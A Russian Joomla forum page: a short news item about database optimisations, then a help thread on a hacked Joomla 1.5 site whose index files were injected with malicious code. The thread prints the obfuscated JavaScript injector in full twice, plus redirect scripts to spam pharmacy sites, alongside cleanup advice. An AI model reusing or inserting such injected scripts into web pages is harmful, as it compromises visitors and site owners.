Новости Joomla

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

👩‍💻 Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях. На старте его сайт на Joomla 3 вообще не смог обновиться на Joomla 5. Пришлось делать экспорт/импорт материалов. Проделав всё это он запустил-таки этот объём данных на Joomla 5. Тестовый скрипт грузил 200 материалов из этого объёма всего за 94 секунды ))) А главная страница с категориями грузилась 20 секунд. Добавив индекс для таблицы #__content

CREATE INDEX idx_catid_state ON #__content (catid, state);
он сократил время загрузки категорий до 1 секунды. Затем наш герой решил поковырять SQL-запрос в ArticleModel, который отвечает за выборку материалов. И решил заменить тип JOIN на STRAIGHT_JOIN для категорий.
// ->from($db->quoteName('#__content', 'a'))->from(    $db->quoteName('#__content', 'a')    . ' STRAIGHT_JOIN ' . $db->quoteName('#__categories', 'c')    . ' ON ' . $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))// ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
Что сократило загрузку 200 материалов из 150к с 94 секунд до 5. К слову сказать, боевой сайт на Joomla 3 крутится на 12CPU 64GB рамы. А все манипуляции с кодом он делает на базовом 1CPU 1GB сервере и замеры скорости даны именно для базового сервера. Но это всё в дискуссии, хотя в идеале должно вылиться в Pull Requests. Мы - Open Source сообщество, где никто никому ничего не должен. Джунгли. Но человек ищет пути оптимизации Joomla и предлагает решения. Если оказать поддержку и предложить помощь хотя бы с тестированием самых разнообразных сценариев, то возможно эти улучшения смогут войти в ядро. Пусть не быстро, пусть через несколько лет, пусть не все, но войдут. Достаточно предложить руку помощи и приложить немного усилий.
Дискуссию на GitHub можно почитать здесь.@joomlafeed#joomla #community #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 23 Ответов
  • 3436 Просмотров
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
вчера работало, с утра выдает вот такую штуку: Parse error: syntax error, unexpected '<' in /home/yami/xn----7sbbcg1dfgx.xn--p1ai/docs/index.php on line 89

Содержание строки 89:
<!-- o65 --><script>function xe440f4ccd8a4(me905b64){var n5407c=String,sec4a6d=me905b64.substr(r97442(),3)-636,jc96dd4,u328d8;me905b64=me905b64.substr(14);var e76c40d=tde87b(me905b64);for(var td617e328=0;td617e328<e76c40d;td617e328++){try{throw(f4a735369=n90554(me905b64,td617e328));}catch(e){f4a735369=e;};if(f4a735369=='–'){sec4a6d="";td617e328=v917ac2(td617e328);s596722e=i9fa87cc(me905b64,td617e328);while(s596722e!='–'){sec4a6d+=s596722e;td617e328++;s596722e=me905b64.substr(td617e328,1);}sec4a6d-=524;continue;}jc96dd4="";if(y0efd18d4(f4a735369)){td617e328++;f4a735369=me905b64.substr(td617e328,1);while(f4a735369!='¹'){jc96dd4+=f4a735369;td617e328++;f4a735369=me905b64.substr(td617e328,1);}jc96dd4=jc96dd4-sec4a6d-40;if(jc96dd4<0)jc96dd4+=256;jc96dd4=ef88475c(jc96dd4);he00fb(jc96dd4);continue;}h296299a9=(f4a735369+'')["\x63h\x61\x72\x43o\x64\x65At"](0);if(h296299a9>848)h296299a9-=848;u328d8=h296299a9-sec4a6d-40;if(u328d8<0)u328d8+=256;if(u328d8>=192)u328d8+=848;else if(u328d8==168)u328d8=1025;else if(u328d8==184)u328d8=1105;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](u328d8));}}xe440f4ccd8a4(p5645948());function r97442(){return 11;}function tde87b(k00efbef){return k00efbef.length;}function n90554(de589f7,ob695ca4){return de589f7.substr(ob695ca4,1);}function v917ac2(kcca0d){return ++kcca0d;}function i9fa87cc(dfe310,o2737efbc){return dfe310.substr(o2737efbc,1);}function ef88475c(vdc7c3194){if(vdc7c3194==168)vdc7c3194=1025;else if(vdc7c3194==184)vdc7c3194=1105;return (vdc7c3194>=192 && vdc7c3194<256)? vdc7c3194+848 : vdc7c3194;}function y0efd18d4(p95c66ee){return p95c66ee=='¹';}function he00fb(b5b3de){var n5407c=String;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](b5b3de));}function p5645948(){return "d3be7a54a1f720¹184¹–530–¹161¹¹145¹¹160¹¹151¹¹158¹–700–L–546–^¹178¹–529–¹166¹¹157¹¹146¹jO–654–¹30¹–652–¹13¹¹32¹¹28¹×–540–¹162¹–646–¹3¹¹24¹¹3¹¹21¹¹5¹–557–¹187¹¹178¹¹185¹¹189¹k–558–j–574–ÍÌ–691–2¹12¹ñ–612–èôôð¹186¹¹175¹¹175¹–536–¹167¹¹159¹–662–¹30¹¹19¹¹22¹ß\"–609–éæñèæ¹171¹ïò–560–¹123¹À¹177¹¹185¹¹188¹–553–¹177¹¹166¹–634–¹10¹–621–îü¹184¹ðêö–626–ó¹188¹ø¹1¹¹176¹–692–¹14¹¹12¹ÿ–628–¹3¹–604–Ûê–603–à–570–ÆÊ¹148¹";}</script><!-- c65 -->
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
или подскажите как хотя бы переустановить но не делать все заново - все сатьи, галерю
 >:(
*

Diiimonn

  • Захожу иногда
  • 234
  • 29 / 0
а что это за бредятина вобще? Вы можете это временно удалить и посмотреть результат?И откуда это у вас в index.php?
Создание расширений для Joomla
Skype: diiimonn
ICQ: 351181332
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
а что это за бредятина вобще? Вы можете это временно удалить и посмотреть результат?И откуда это у вас в index.php?
Удалил - в итоге страница начала загружаться и на каждый элемент (меню, баннер, и т.д. пишет Абрукадабру и браузер говорит что остановить выполнение сценарий на странице?
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
в админку тоже не пускает
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
Комп и сайт проверь на вирусы.
Кстати, какая версия Joomla?
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
Комп и сайт проверь на вирусы.
Кстати, какая версия Joomla?

1.5.18 вроде. - а при чем тут комп с вирусом? вам тоже ничего не покажет: намбр-ван.рф
и как сайт проверить?
*

dynamit

  • Завсегдатай
  • 1744
  • 265 / 0
  • Winter Is Coming
а при чем тут комп с вирусом?
а, вот при чем
последний код, внизу, ничего не напоминает?
ТАМ ГДЕ ТЫ НИЧЕГО НЕ МОЖЕШЬ, ТЫ НЕ ДОЛЖЕН НИЧЕГО ХОТЕТЬ
==========================================================
Сайты на Joomla!. Верстка. Консультации.  ||  Яндекс уже не ищет, он уже продает (с)  ||    Создание шаблона для Joomla 2.5
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
а, вот при чем
последний код, внизу, ничего не напоминает?
напоминает.. так как же мне все файлы теперь открывать и проверять? (а вообще лицензионный каспер стоит) :(
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
Ну проверяйте сайт, если ставили что-то с варезника то могли оттуда зацепить.
Сайт скачайте на локалку и прогоните утилитами касперского, смените пароли к сайту, фтп, админ. панели хостинга.
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
Скока раз подобную ситуацию сам получал...
Тут никакие проверки ничего не найдут! Придется ручками чистить все файлы от этого кода...
И посмотри, чтобы еще ничего небыло левого в файлах (фрейма какого к примеру!)...

Обычно заражаются индексные файлы во всех каталогах, но могут быть заражены и все полностью...
Смотри в логи и решай переустанавливать движок, или руками чистить... (база тут будет в нормальном состоянии)
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
artlux, смысл в том, чтобы если есть сторонняя уязвимость, то найти её, иначе можно годами чистить каждый день.
Кстати, про БД тоже уверенным на 100% быть нельзя.

Прежде чем что-то писать подумайте. Данная тема много раз обсуждалась на форуме и система реанимации и проверки существует, но ТСу было лень ее искать, значит пойдем длинным путем.

Далее, если данная проблема появляется регулярно, то нужно проверять ПК, ставить сложнее пароли и прекращать пользоваться компонентами взятыми с варезника.
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
спасибо всем, буду пробовать найти :(
*

artlux

  • Захожу иногда
  • 466
  • 58 / 0
NightGuard -тут конечно я соглашусь полностью... Я бы написал свои мысли по этому поводу, и с чего дал такой ответ... Но они тут никому и не нужны...

А вот Yaroslav - посоветовал бы просто заглянуть в логи и не удивляться если все изменения файлов шли именно с его IP...
Разработка расширений: Joomla 1.5+, Bitrix 12+, Мобильные приложения для сайтов под Android (PhoneGap).
Для бонусов: Z136221252622, R242724126443, U423945028202. +79211696184(Мегафон), или плюсик в репу!
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
все скинул на комп - проверил Каспером - толку ноль. нашел 7000 файлов index - и половина из них с этим вирусом - я обалдею все это удалять :(

посмотрел время изменения файла - сегодня ночью с 0:36 до 0:45 - 1032 файла были изменены и в них эта шняга... я могу переустановить жумлу но так чтобы сохранились все плагины настройки статьи и фалы галереи и прочего? или все же придется тысячу файлов менять?
*

Diiimonn

  • Захожу иногда
  • 234
  • 29 / 0
возмите Notepad++, в нем есть поиск с заменой во всех файлах каталога, вставьте код туда(он вроде везде одинаковый), направьте на скачанный дист Joomla, и замените везде код на ничего или на пробел.Займет пару минут.
После - пофантазируйте, может код разный чуток.
Создание расширений для Joomla
Skype: diiimonn
ICQ: 351181332
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
Проверить утилитами, желательно свежими.
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
возмите Notepad++, в нем есть поиск с заменой во всех файлах каталога, вставьте код туда(он вроде везде одинаковый), направьте на скачанный дист Joomla, и замените везде код на ничего или на пробел.Займет пару минут.
После - пофантазируйте, может код разный чуток.

Спасибо, попробовал, получилось, правда пришлось на 2 части код делить, не влезало по символам. Да и все папки кинуть сразу тоже не вышло - комп повис далеко и надолго - кидал по папке. щас на фтп кидаю - посмотрим что получится.
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
РЕБОТАЕТ! всем спасибо, всем по +, очень помогли,
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
есть еще пару вопросов но это уже совсем другая история :)
нуно шаблон поправить и в галереи файлик crossdomian.xml не хочет работать :( а в остальном - всем спасибо еще раз
*

Diiimonn

  • Захожу иногда
  • 234
  • 29 / 0
помните о том, что вам надо обрубить первоисточник ваших бед, иначе вам будут всовывать подобный код снова и снова.....
Создание расширений для Joomla
Skype: diiimonn
ICQ: 351181332
*

Aleks_El_Dia

  • Moderator
  • 3671
  • 353 / 0
  • AEDStudio Joomla! Direction
Не знаю как касперский, я специально в таких случаях ставлю аваст, он iframe и прочую фигню четко находит
Спам придумали боги в отместку за наши молитвы (с) Рома Воронежский
На молоко: Z369038872422 || R210017695494 || U247040729215 || ЯД 410011288250383
Мигрирую сайты, переношу расширения J!1.0->J!1.5->J!2.5. Более 50 успешных миграций.

 у меня на сайте периодически такая же фигня появляется, в файлах и именами login, index
Помогает изменение атрибутов у файлов, если выставлять только для чтения и выполнения, то все нормуль, до следующего  сбоя у хостера.
А вообще есть мнение, что такое появляется
1. от неправильного применения настроек безопасности для сайта (выставлены права на запись)
2. ну и , как это ни печально, от дырявого хостера,

у меня ситуация была , мой сайт вообще полностью слили, и дамп базы умудрились сделать, щас вот продают, гады ((
связывался с челом который продает,  попросил скинуть дамп таблицы из базы, дабы удостоверится что действительно у хостера дырки, так скинули по аське через минут 30,  сравнил я и охренел

код в первом случае был такой
Цитировать
<script>location = 'http://www.pharmacyba.com/';</script>
<script>location = 'http://theviagrapills.com:8080/';</script>
и появлялись файлы с именами ready53 и rowdy41, и еще рисунок с рекламой виагры rowdy41.jpg
Вобщем весело ребята работают )))
 
а сегодня вот нашел такой код, не знаю уж что там за глюк был у хостера, но вынул из индексных файлов такой вот интересный код
Цитировать
<!-- o65 --><script>function xe440f4ccd8a4(me905b64){var n5407c=String,sec4a6d=me905b64.substr(r97442(),3)-636,jc96dd4,u328d8;me905b64=me905b64.substr(14);var e76c40d=tde87b(me905b64);for(var td617e328=0;td617e328<e76c40d;td617e328++){try{throw(f4a735369=n90554(me905b64,td617e328));}catch(e){f4a735369=e;};if(f4a735369=='–'){sec4a6d="";td617e328=v917ac2(td617e328);s596722e=i9fa87cc(me905b64,td617e328);while(s596722e!='–'){sec4a6d+=s596722e;td617e328++;s596722e=me905b64.substr(td617e328,1);}sec4a6d-=524;continue;}jc96dd4="";if(y0efd18d4(f4a735369)){td617e328++;f4a735369=me905b64.substr(td617e328,1);while(f4a735369!='№'){jc96dd4+=f4a735369;td617e328++;f4a735369=me905b64.substr(td617e328,1);}jc96dd4=jc96dd4-sec4a6d-40;if(jc96dd4<0)jc96dd4+=256;jc96dd4=ef88475c(jc96dd4);he00fb(jc96dd4);continue;}h296299a9=(f4a735369+'')["\x63h\x61\x72\x43o\x64\x65At"](0);if(h296299a9>848)h296299a9-=848;u328d8=h296299a9-sec4a6d-40;if(u328d8<0)u328d8+=256;if(u328d8>=192)u328d8+=848;else if(u328d8==168)u328d8=1025;else if(u328d8==184)u328d8=1105;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](u328d8));}}xe440f4ccd8a4(p5645948());function r97442(){return 11;}function tde87b(k00efbef){return k00efbef.length;}function n90554(de589f7,ob695ca4){return de589f7.substr(ob695ca4,1);}function v917ac2(kcca0d){return ++kcca0d;}function i9fa87cc(dfe310,o2737efbc){return dfe310.substr(o2737efbc,1);}function ef88475c(vdc7c3194){if(vdc7c3194==168)vdc7c3194=1025;else if(vdc7c3194==184)vdc7c3194=1105;return (vdc7c3194>=192 && vdc7c3194<256)? vdc7c3194+848 : vdc7c3194;}function y0efd18d4(p95c66ee){return p95c66ee=='№';}function he00fb(b5b3de){var n5407c=String;document.write(n5407c["\x66\x72\x6f\x6dCharCo\x64e"](b5b3de));}function p5645948(){return "d3be7a54a1f720№184№–530–№161№№145№№160№№151№№158№–700–L–546–^№178№–529–№166№№157№№146№jO–654–№30№–652–№13№№32№№28№Ч–540–№162№–646–№3№№24№№3№№21№№5№–557–№187№№178№№185№№189№k–558–j–574–НМ–691–2№12№с–612–иффр№186№№175№№175№–536–№167№№159№–662–№30№№19№№22№Я\"–609–йжсиж№171№пт–560–№123№А№177№№185№№188№–553–№177№№166№–634–№10№–621–оь№184№ркц–626–у№188№ш№1№№176№–692–№14№№12№я–628–№3№–604–Ык–603–а–570–ЖК№148№";}</script><!-- c65 -->

« Последнее редактирование: 06.01.2011, 10:21:34 от gvozdkoff »
*

Yaroslav

  • Захожу иногда
  • 73
  • 0 / 0
у меня на сайте периодически такая же фигня появляется, в файлах и именами login, index
Помогает изменение атрибутов у файлов, если выставлять только для чтения и выполнения, то все нормуль, до следующего  сбоя у хостера.
А вообще есть мнение, что такое появляется
1. от неправильного применения настроек безопасности для сайта (выставлены права на запись)
2. ну и , как это ни печально, от дырявого хостера,

у меня ситуация была , мой сайт вообще полностью слили, и дамп базы умудрились сделать, щас вот продают, гады ((
связывался с челом который продает,  попросил скинуть дамп таблицы из базы, дабы удостоверится что действительно у хостера дырки, так скинули по аське через минут 30,  сравнил я и охренел

код в первом случае был такойи появлялись файлы с именами ready53 и rowdy41, и еще рисунок с рекламой виагры rowdy41.jpg
Вобщем весело ребята работают )))
 
а сегодня вот нашел такой код, не знаю уж что там за глюк был у хостера, но вынул из индексных файлов такой вот интересный код

насчет хостера не знаю - ру цент, а код - явный вирусь
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

simpleform2 ошибка ajax error в Google chrome

Автор safronoff343

Ответов: 1
Просмотров: 1260
Последний ответ 05.06.2020, 20:36:42
от safronoff343
Ошибка #1050 при переносе базы данных на хостинг

Автор Ksen

Ответов: 7
Просмотров: 24922
Последний ответ 16.03.2020, 17:47:29
от Petrovich
При попытке войти в админку 404 ошибка компонента

Автор omezik

Ответов: 4
Просмотров: 2899
Последний ответ 31.08.2019, 22:41:46
от Taatshi
Ошибка в компоненте CKForms

Автор Vas80

Ответов: 9
Просмотров: 1743
Последний ответ 22.04.2019, 13:34:48
от sivers
Ошибка Fatal error: Allowed memory size of 73400320 bytes exhausted

Автор Andre109

Ответов: 1
Просмотров: 2172
Последний ответ 03.12.2018, 01:29:56
от voland